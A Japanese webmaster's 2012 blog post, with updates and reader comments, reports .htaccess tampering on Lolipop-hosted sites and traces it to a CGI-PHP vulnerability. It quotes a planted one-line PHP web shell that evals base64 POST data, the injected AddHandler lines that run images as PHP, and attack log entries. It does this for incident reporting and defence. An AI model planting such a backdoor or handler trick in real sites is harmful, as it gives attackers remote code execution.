WordPressサイトの.htaccessが改ざんされている件

公開日:2012年5月22日
最終更新日:2014年2月18日

現時点では、WordPressのプラグインかテーマの脆弱性を突かれたのではないかという説が濃厚です。その為タイトルから「ロリポップ」を削除しました。(5/22 18:23)

Twitterのロリポップ公式アカウントとロリポップからコメントを頂きました。(5/22 19:16)

WordPressを使っていないサイトでも同じような被害を受けたとのコメントも頂いています。WordPressが関係ないとするならば脆弱性の話も関係ないということになりますが、そうなると良くわかりませんね。(5/23 9:10)

さらに、WordPress関係ないのでは?というコメントを頂きました。ご自身が改ざん被害にあった方で、アクセスログを元に分析記事も書かれていますので、そちらもご覧ください。
.htaccess改ざんの件、続き(5/23 10:47)

現時点では、CGI版PHPの脆弱性を突かれたのではないかという説が濃厚?です。
⇒原因はCGI版PHP脆弱性?(5/23 14:40)

⇒.htaccess改ざんの件、恐らく完結(5/24 9:22)

バカ毛さんで投稿されていた「.htaccess改ざん事例」という記事で、ロリポップを使っているサイトの.htaccessが改ざんされているという話が書かれています。

へぇそんなことあるんだぁ、と思って一度スルーしたのですが、私もロリポップ(チカッパプラン)を使っているので、念のためサイトを確認してみることにしました。

すると・・・

はい、キタコレ。バカさんの記事で紹介されているのと同じ状態になっていました。

.htaccessに「AddHandler application/x-httpd-php .png」という情報が書き込まれており、index.bak.phpと良くわからないpngファイルがありました。

index.bak.phpには、「<?php ($_=$_POST).($_1='_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?>」と書かれていました。

ロリポップで15サイトほど運営しているのですが、他のサイトを調べてみると色々なパターンがあることがわかりました。

gifファイルだったり、icoファイルだったり、index.bak.phpしかなかったりとサイトによって色々ですが、いずれも5/14~15の間にアップされたファイルであることがわかります。

.htaccessがあっても改ざんされていないケースもあります。全てのWordPressが3.2か3.3で、プラグインは全サイト同じ物を入れているのですが、不思議です。

原因は?そして実害は?

実害は特に無かったというか確認できる害はなかったのですが、とりあえず、FTPパスワードを変更して、該当のファイルを全て削除し、WordPressと全てのプラグインのアップデートも実施しました。

ロリポップが原因なのかは分かりませんし、WordPressも関係ないのかもしれませんが、エックスサーバーやさくらのレンタルサーバなどを確認した所、こういった現象は見当たりませんでした。

発生してからまだ日が浅いせいか、ネット上でも日本語の情報が見つからないのですが、なんだか怖いですね。とりあえずロリポップやWordPressを使っている人は念のため確認しておいた方が良いかもしれません。

バカ毛さんの記事にロリポップからの回答が載っていたので転載させて頂きます。

問題のファイルは通常のFTP接続ではなく、何らかのプログラムを用いて直接アップロードされているようだ。その送信元までは分からない。

設置してるスクリプトの脆弱性を確認して下さい。PCのウィルスチェックもして下さい。

あくまで、プログラム側の問題という見解のようですが、ロリポップ以外でも起こっているんですかね。ロリポ+WP+αがトリガーになっている気がしますが、現時点では何とも言えません。

少し前にヘテムルを使っているサイトでも同じようなことがありましたが、これとは別物のようです。(ヘテムルを使っているサイトに見られた現象ですが、原因はヘテムルではなかったようです。)

サイト改ざんの対策方法は、レンタルサーバー「heteml」 - サイト改ざんへの対策をお願いいたしますをご覧ください。ヘテムルもロリポもペパボ運営ですが、これは単なる偶然なのかなと思います。

原因はWordPressのプラグイン?(追記 5/22 12:40)

Twitterでコメントを頂きました。

[oEmbedTweet 204771938416082944]

[oEmbedTweet 204777723627966465]

私には難しくて良く分かりませんが、悪さをされる前に気づいて良かった感じですね。プラグインが原因だとすると全てのサーバが対象になりますね。ロリポップはユーザー数が多いので、偶然改ざんが確認できたサイトがロリポップを使っていたのかもしれません。

一応、改ざんされたサイトで利用していたプラグインを全て書きだしておきます。

  • AddQuicktag
  • Akismet
  • All in One SEO Pack
  • Category Order
  • Google XML Sitemaps
  • Ktai Style
  • Lightbox 2
  • oEmbed Tweet
  • Revision Control
  • RSS Footer
  • WordTwit
  • WP Multibyte Patch
  • WP No Category Base
  • WP Social Bookmarking Light
  • WPtouch
  • Yet Another Related Posts Plugin

プラグインは一旦全て止めましょうかね。ただ、改ざんされたサイトで使っているプラグインは、他のサーバーでもほぼ全て使っているプラグインなんですよね。謎です。テーマについてはWordPressのデフォルトテーマのサイトも改ざんされていましたので、関係ないのかなと思います。

念のため全ての管理サイト(Xサーバー18サイト、さくら23サイト、その他1サイト)を確認しましたが、改ざんは行われていませんでした。

【追記 17:23】
読者の方から古いTimthumbを使っているテーマやプラグインがありませんか?とのコメントを頂きました。改ざんされたサイトについては、既にプラグインを全てアップデート済みで、Timthumb Vulnerability Scannerでチェックしても古いTimthumbは見当たりませんでした。

また、改ざんされたサイトと同時期にさくらのレンタルサーバで構築したWordPressサイトがあり、同じテーマ、同じプラグインを使っているので、同じようにチェックした所、古いTimthumbは見当たりませんでした。

私の環境では古いTimthumbは見当たりませんでしたが、サイトが改ざんされてしまったという方は、念のため確認しておいた方が良いかもしれません。

»TimThumbの脆弱性対策プラグイン「Timthumb Vulnerability Scanner」の使い方

ロリポップからの回答

【追記 5/22 19:03】
ロリポップのTwitterアカウントからコメントを頂きました。

[oEmbedTweet 204873633003347968]

【追記 5/22 19:16】
ロリポップから問い合わせに対する回答が届きましたので、内容を載せておきます。文章は変えてあります。

ロリポップ!レンタルサーバーにおいて、不具合の発生する障害やサーバーの動作については確認されませんでした。

可能性としてWordPressの脆弱性が予想されますが、すでに該当ファイルが削除されているため、原因を特定するまでには至りませんでした。

様子を観て頂き、同様の現象が発生した場合、該当のファイルはサーバー上に残したまま、ご連絡ください。

※)該当のファイルは名前を変更いただくか、パーミッションを「000」に変更いただいた形でご連絡ください。

該当の設置日時やファイルの設置状況からこちらでも調査させていただきます。

ということで、しばらく様子を見ることにします。

その後に頂いた情報など

【追記 5/23 07:56】
ブコメでパーミッションが気になるとのコメントを貰ったので、書いておきます。

WP本体:705
ディレクトリ:755
.htaccess:644
wp-config.php:666

基本的にパーミッションはWordPressをインストールした時の状態で、.htaccessはパーマリンク設定した時に自動生成された時のままで特に変更していませんでした。現在は、ディレクトリが705、.htaccessが604、wp-config.phpが404になっています。

【追記 5/23 09:07】
WordPressを使っていないサイトでも全く同じ改ざんを受けたとのコメントを頂きました。謎は深まるばかりです。

【追記 5/23 11:18】
同じように改ざんを受けた方が書いた変なアクセスログがあるという記事を読んで私もログを見てみました。

210.172.144.41 - - [15/May/2012:03:47:11 +0900] "POST /.6804c.gif HTTP/1.1" 200 99 "-" "-"
210.172.144.41 - - [15/May/2012:03:47:11 +0900] "POST /.aa1b0.gif HTTP/1.1" 404 11783 "-" "-"
210.172.144.41 - - [15/May/2012:03:47:12 +0900] "POST /index.bak.php HTTP/1.1" 200 4 "-" "-"

私の場合、サイトが15個あって、改ざんを受けたサイトがどれなのか記録を取っていなかったので、このログを探すのも大変だったのですが、とりあえず1つ見つけました。

原因はCGI版PHP脆弱性?

【追記 5/23 14:40】

[oEmbedTweet 205164700420415488]

[oEmbedTweet 205165566930063360]

[oEmbedTweet 205167060010008576]

昨日、ロリポップからPHPのセキュリティに関するメールが来ていて、5月頭に対策済みのものの再周知かなと思ってちゃんと読んでいなかったのですが、メンテナンスが完了したのが、5/16なので、もしかしたらCGI版PHPの脆弱性を突かれたのかもしれませんね。

ちなみにメールにはこのようなことが書かれていました。

5月初旬にPHPの脆弱性が確認されたため、パッチの適用やバージョンアップを実施いたしました。URLで記載の通り、サーバーでの対策は完了しておりますが以下の内容のご確認をお願いいたします。

index.bak.php といったファイルが無いか確認してください。
.htaccessに以下のような記述が追記されていないか確認してください。
AddHandler application/x-httpd-php .png
AddHandler application/x-httpd-php .gif

URLというのは、以下で紹介しているPHPに関するセキュリティ2つです。

仮に原因がCGI版PHPだとするのであれば、WordPressではないサイトの改ざんという事にも納得がいきます。ツイートの中でロリポップではないがやられていたという発言があったのもこれで納得がいきます。CGI版PHPのサーバを使っている場合には、改ざんの可能性があるという事なのでしょう。

公開日:2012年5月22日
最終更新日:2014年2月18日

カテゴリー:WordPress関連記事 パシのWP SEOブログ

コメント

  1. 竜人(りゅうじん) より:

    ファイルが改ざんされた前後と、問題のファイルへのアクセスログからアクセス元を割り出して、そのアクセス元がアクセスしたものを調べれば何が原因か調べられそうな気もしますー

  2. パシ より:

    なるほどぉ。ただ私のスキルだとそういった分析を行うのが難しいです。

  3. とりさん より:

    古いtimthumb.phpを使用しているテーマやプラグインがありませんか?

    Timthumb Vulnerability Scannerを使ってチェックし、アップデートすると良いそうです。

  4. パシ より:

    情報有り難うございます!確認してみます。

    改ざんが行われたサイトについては、既にプラグインをアップデートしてしまったので、問題ない状態でした。同じプラグインを入れていて、まだアップデートしていないサイトで確認した所、同じように問題なしでした。今回の件は、Timthumbは関係なかったのかもしれません。

  5. さくさくぱん より:

    私もさくらのレンタルサーバにて、私も.htaccessの改ざんやられました。
    こちらも原因が分からないんですよね。私の場合は、index.bak.phpというファイルではなく、wp-includes/img.classs.phpというファイルがアップされていました。(sが1つ多いのは誤字ではないです。)

    既読かもしれませんが、私が困らされた時は以下のWebページが役立ちました。
    http://wpdocs.sourceforge.jp/FAQ/%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E3%83%BB%E3%82%AF%E3%83%A9%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E8%A2%AB%E5%AE%B3

  6. パシ より:

    私の件とは違うタイプのようですが、脆弱性を突いてくるプログラムは困ったものですね。情報ありがとうございました!

  7. 徳永佳明 より:

    私もロリポップで借りてるサーバでのみ全く同じ被害を受けました(ロリポップへの問い合わせ結果を「バカに毛が生えたブログ」さんに報告した者です)。
    が、サイトにWordPressは使用していません。設置している公開スクリプトといえばGoogle AnalyticsとGoogle Adsenseのコードぐらいなものです。
    なので、必ずしもWP関係のせいではないのかもしれません。

  8. パシ より:

    WordPressでなくても被害を受けているケースがあるんですね。だとするとWordPressの脆弱性という話も関係ないのかもしれません。謎は深まるばかり・・・

    情報有り難うございました!

  9. Straysheep より:

    初めまして、Straysheepと申します。
    私も同様の被害を受けました。
    「バカに毛が生えたブログ」様でも報告しております。

    私もサイトでWordPressを使用しておりますが、
    アクセスログを調べた限りどうもWordPressの脆弱性ではなさそうです。
    調査結果は自ブログ内にまとめてあります。

    今はこれ以上の調査は難しそうなので、
    次に問題があるまで様子を見る事にしています。

  10. パシ より:

    はじめまして。

    >アクセスログを調べた限りどうもWordPressの脆弱性ではなさそうです。
    >調査結果は自ブログ内にまとめてあります。

    なるほどぉ。
    なんだかややこしいことになって来ましたね。
    情報ありがとうございます。記事へリンクさせて頂きます。

  11. takeshi より:

    はじめまして。私もロリポップで運用しているサイトがありますが
    似たようなファイルが設置されていました。

    .indexab64e.php

    最終週整備は5月6日になっています。

    内容は

    でした。

    でもここはXoops Cubeでwordpressではないんですよね・・・。
    ちょっと気になったのでコメントしてみました。

  12. パシ より:

    はじめまして。

    記事の中でも書いていますが、CGI版PHPが原因だとすると、WordPressに関係なく被害にある可能性があります。そのファイルが今回の件と同じものなのかは分かりませんが、可能性としてはありそうですね。

  13. Airi より:

    はじめまして。
    ロリポップで運営中のWordPressサイトが5月28日からずっと503エラーになっていて、原因不明でさまよっている中この記事に出会いました。
    上に挙げられているような改ざんは見つかっていませんが、時期的にも近いので何か近しい原因なのかもしれません・・
    ロリポップに問い合わせをしているのですが「アプリ側で何か変更をしたのでは?」という回答しか返ってきませんし、ログを見ても怪しい部分がないので困り果てています・・・
    この記事を見つけた中に、私と同じ状態の方が見つかればと思いコメント残させて頂きました。

  14. パシ より:

    はじめまして。

    今回の件で503エラーになったという情報が聞いたことがないので判断が難しいですが、まずはロリポップが言うように、サイト側に問題がないのかを良く調べてみるのが良いと思います。

    いずれにしても503エラーであれば解決することは可能だと思いますので、再インストールなども含めて考えてみてはいかがでしょうか。

  15. keyman より:

    私もロリポップ(チカッパプラン)を契約しているのですが、5/29ごろを起点に、5/31、6/1の一定時間帯に改ざんおよび不正アップロードが発生しました。

    .htaccess、*.html、*.shtml、*.js、*.phpが改ざんされました。改ざんは破壊ではなくコード挿入。.htaccessは「RewriteCond」など、*js、*.htmlと*.shtmlはJSコード、phpはPHPスクリプトです。この改ざんに先立って「default.php」という名前のファイル名が不正アップロードされていて、
    Wordpressを導入していない複数ドメインでも共通です。PHPのバージョンはすべて5.3で共通です。

    挿入されたコード文字列でGoogle検索したところ、同じくロリポップにホスティングされた2サイトも改ざんされていることを確認しました。

    ようやくこの問題に触れている情報に触れられて、ある意味ホッとしました。ただ、1週間以上も前にこのやり取りがあったのなら、ロリポップはきちんと告知すべきではないかとは思います。

  16. keyman より:

    書き漏らしたことを追記します。

    すべての*.js、*.html、*.phpが改ざんされたわけでなく、検索エンジン経由などブラウザーベースでアクセスできない(リーチャブルであるものの、外部から存在がわからないファイル)は無事でした。ちなみにその*.jsはMTやWPの管理画面で使うもの、*.phpはWPのプラグインやテーマファイル、*.htmlは*.shtmlからinclude virtualで呼び出すものです。

  17. パシ より:

    情報有り難うございます。

    ただ、これは、1年前の記事で、この件については、もうロリポ含め他のレンタルサーバーも全て対応済みだったと思います。

  18. keyman より:

    あ……。年まで見てませんでした。。昨年のエントリーだったんですね。すみません。


このページの先頭へ